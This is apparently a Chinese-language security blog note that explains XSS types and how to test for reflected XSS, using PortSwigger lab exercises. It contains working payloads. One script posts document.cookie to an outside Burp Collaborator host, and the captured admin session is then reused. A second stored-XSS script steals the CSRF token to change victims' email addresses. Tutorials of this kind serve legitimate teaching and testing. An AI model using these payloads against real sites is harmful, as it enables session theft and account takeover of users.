XSS知解123
- 2020 年 3 月 10 日
- 筆記
跨站腳本攻擊(Cross-Site Scripting),為了避免與 CSS 混淆,一般簡稱為 XSS。XSS 作為一種典型的主要可以分為 3 種:
- 反射型 XSS
- 存儲型 XSS
- DOM 型 XSS
關於這 3 種 XSS 類型的區別,在這就不展開了,本文主要講解 XSS 漏洞的利用場景以及如何測試反射型 XSS,當然反射型 XSS 漏洞的測試和其它 XSS 漏洞類型的測試存在很多共同之處的。通常來說,通過 XSS 漏洞攻擊者可以在受害者機器上執行任何腳本的話,包括:
- 可以執行受害者可以執行的任何操作
- 可以瀏覽受害者可以瀏覽的任何內容
- 可以修改受害者可以修改的任何資訊
- 可以通過最初的受害者與應用中其他用戶交互,從而發起對其他用戶的攻擊
不過值得注意的是,反射型 XSS 漏洞利用過程中也會遇到較多的障礙,經常可能會遇到很多限制:
- cookie 設置為 httponly,無法通過 JS 直接操控 cookie
- 用戶輸入的內容被進行過濾或者編碼
- 受害者可能並沒有登錄應用,或者應用用戶會話與特定的因素有綁定關係,比如 IP 地址或者 MAC 地址,這種情況比較少見
典型利用場景
XSS 的利用場景其實是五花八門的,可以說只要你敢想,搞不好你就可以做得到。這裡,我們可以選擇兩個最典型的利用場景進行講解。在這裡我主要使用 PortSwigger 的應用安全學院裡面的 lab 進行講解。
盜取 cookie
通過 XSS 漏洞盜取 cookie 可以說是最典型的利用場景了。不過現在隨著 HttpOnly 的廣泛應用,這一利用場景也產生了一些限制。但是 HttpOnly 也並不能完全保證 XSS 漏洞的防範,因為 HttpOnly 理論上應該覆蓋所有的敏感 cookie,如果有一處沒有覆蓋到,就有被攻擊的可能性。另外一方面,通過結合 CORS 也有突破限制的可能性。還有一個實際情況是,仍然有很多應用並沒有使用 HttpOnly,本節也主要是針對這一情形的具體利用。
假設有一個部落格平台,目前我們已經發現博文的評論處存在存儲型 XSS 漏洞。那麼如果其它用戶打開這一篇博文,就可以通過這個漏洞讓這名用戶執行任意 JS 腳本,基本上就可以進行任何操作。如果這一名用戶是管理員的話,那麼危害性就更大,理論上這個管理用在這個部落格可以執行的任何操作,攻擊者都可以實現。這個攻擊場景主要分為三步:
- 攻擊者創建一個 Web 服務,需要保證受害者和這個服務之間是連通的。
- 注入 XSS 的 payload,實現通過 JS 獲取受害者 cookie,並發送給攻擊者創建的服務
- 攻擊者通過獲取的 cookie 則可以成為應用的合法用戶並執行任何操作
創建 web 服務非常簡單,可以使用 python 命令既可以創建服務, python-mSimpleHTTPServer80。這樣就可以指定一個監聽 80 埠的 web 服務。其實 Burp 提供了一個非常實用的利用功能,通過 Burp Collobrator Client 就可以創建一個開放在外網的 web 服務,這樣如果你在日常測試中,就無須自己準備一個帶有固定 IP 的伺服器來創建服務了。


進入到 Collobrator Client,點擊 Copy to clipborad 就可以將服務地址複製到剪切板。我們可以使用 curl 來進行測試:

我們可以看到在 client 中可以看到 DNS 請求以及相應的 HTTP 請求,這樣通過 Collobrator Client 就不需要在外網自己的伺服器下搭建服務。讓我們繼續重現上面的利用過程,首先我們先準備好要利用的 XSS 的 payload:
<script> fetch('https://d8mzva8z7ou9zrnqkgz49jltyk4asz.burpcollaborator.net',{ method: 'POST', mode: 'no-cors', body: document.cookie }) </script>然後我們只需要在 Collobrator Client 等待請求過來,不出意外的話,我們可以看到 administrator 的 cookie。

下面我們只需要打開瀏覽器開發者工具,總控制台中輸入 document.cookie='session=Xn8ow3pdmd6LWktVZPJtBlI9yKzIKUX3',刷新一下頁面,我們就成為管理員了。

通過 XSS 來實現 CSRF
上述的攻擊手法有一定的限制之處,而且容易被受害者發現。而配合 CSRF 漏洞,攻擊者可以實現執行受害者可以執行的任何操作,並且隱秘性更強。比如我們可以修改用戶的郵箱,從而可以充值用戶密碼。如果受害者是管理員的話,甚至往往可以實現添加用戶,刪除用戶。CSRF 漏洞的防禦機制一般是通過 token 來進行防禦,但是如果你的應用有 XSS 漏洞,那麼這種防禦機制就會失效,因為通過 JS 我們就可以獲取 token。下面繼續通過一個 lab 來演示這種類型的攻擊方式:
這個 lab 和之前的一樣,這一次我們需要通過 XSS 漏洞來配合 CSRF 漏洞來實現修改受害者的郵箱。首先我們可以通過一個普通用戶登錄應用,然後發現有一個可以修改郵箱的功能。

通過 Burp 可以捕獲修改郵箱的請求:
POST /email/change-email HTTP/1.1 Host: acee1f9f1f96dfe38027996900d70058.web-security-academy.net Connection: close Content-Length: 57 Cache-Control: max-age=0 Origin: https://acee1f9f1f96dfe38027996900d70058.web-security-academy.net Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36 Sec-Fetch-Dest: document Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Referer: https://acee1f9f1f96dfe38027996900d70058.web-security-academy.net/email Accept-Encoding: gzip, deflate Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,ja;q=0.7,zh-TW;q=0.6 Cookie: session=J7wtDYrnotYBeGxHRbxRQAjwWoER6iPb email=bbb%40bbb.com&csrf=xmLrs2P4dtFVurZlCUVpJsBnvaGlL4T1
可以看到這個修改郵箱的請求包含兩個參數,即 email 以及 csrf,很明顯,這個請求是使用了 CSRF 防禦的。那麼現在可以思考一下如何來執行 CSRF。
- 首先請求修改郵箱功能的頁面,獲取頁面響應。
- 在頁面響應中匹配 csrf,然後提交修改郵箱的 POST 請求。

<script> var req = new XMLHttpRequest(); req.onload = function() { var csrf = this.responseText.match(/name="csrf" value="(w+)"/)[1]; var changeReq = new XMLHttpRequest(); changeReq.open("POST", "/email/change-email", true); changeReq.send("csrf=" + csrf + "&[email protected]"); } req.open("GET", "/email", true) req.send() </script>只要把上述的 payload 提交到 comment 中,然後提交,就可以實現任何訪問這個部落格評論的用戶都會成為受害者,將其郵箱修改為 [email protected]。
XSS 漏洞的測試
接下來可以聊一聊如何測試 XSS 漏洞。不管是手工測試亦或是現在比較流行的被動掃描器的自動化類型的測試,其測試方式基本也是差不多的。
- 測試每一個輸入點,每一個 HTTP 請求的輸入點都是可以進行測試的,包括 URL 中的參數,以及 BODY,其實 HTTP 頭也可以進行測試,不過在實際中,通過請求頭的參數來觸發 XSS 漏洞的不是太常見。
- 通過輸入點提交隨機字元串,這麼多的目的主要是為了驗證通過輸入點的 payload 是否影響最終的響應。這裡,其實對於自動化類型的測試還有一個小技巧,就是可以在隨機字元串中可以去包含一些特殊符號,從而判斷應用有沒有對相應的符號進行轉義,比如單引號、尖括弧之類的。
- 找到 payload 在響應中的上下文。這一點其實比較重要的,這關係到你該如何去利用 XSS 漏洞。因為輸入點映射在不同的位置,會影響到漏洞的利用方式。比如你的輸入點的 payload 可以對應於 HTML 標籤中、HTML 標籤中的屬性,或者是映射到 JS 文件中,通過這些,你可以更好地知道如何去利用 XSS 漏洞。
- 下面就是利用一些常見的 XSS payload 來進行測試,這裡可以推薦 Burp 提供的 XSS payload。裡面對於不同的瀏覽器,不同的標籤,甚至不同的屬性,都有對應的 payload。當然,很有可能這些 payload 並不能直接成功,這個時候可能還需要結合上一點一起看一看來做相應的調整。不過這個 cheetsheet 裡面可能已經足夠了,可能還是最終沒有找到合適的 payload。
對於漏洞的驗證,人工測試往往比較直觀,大多數都是通過 alert 彈窗的形式來驗證漏洞是否存在。而對於自動化的漏洞測試工具而言,對於 XSS 漏洞的驗證方式可能就會稍微複雜一點,包括驗證響應的 Content-Type,然後接著驗證輸入點的輸入是如何作用於響應中,通過對響應的解析從而驗證漏洞是否利用成功。另外還有一種方式是通過 headless 瀏覽器去實現,讓後來監聽彈窗事件,這種測試方式接近於人工測試,但也更加消耗時間和性能。
總結
XSS 漏洞作為 Web 應用最為典型的漏洞之一,屢出不鮮。因為 XSS 的漏洞往往要考慮很多因素,包括轉義、過濾、以及考慮到應用自身業務的需求,從而避免業務需求和防禦需求的衝突。並且防禦必須覆蓋到應用的每一個輸入點,即使僅有一個輸入點存在漏洞,應用就存在被攻破的可能性。
Reference
- https://portswigger.net/web-security/cross-site-scripting
看完三件事
- 點在看,讓更多的人也能看到這篇內容。
- 關注公眾號「mad_coder」,加星收藏,不定期分享原創知識。
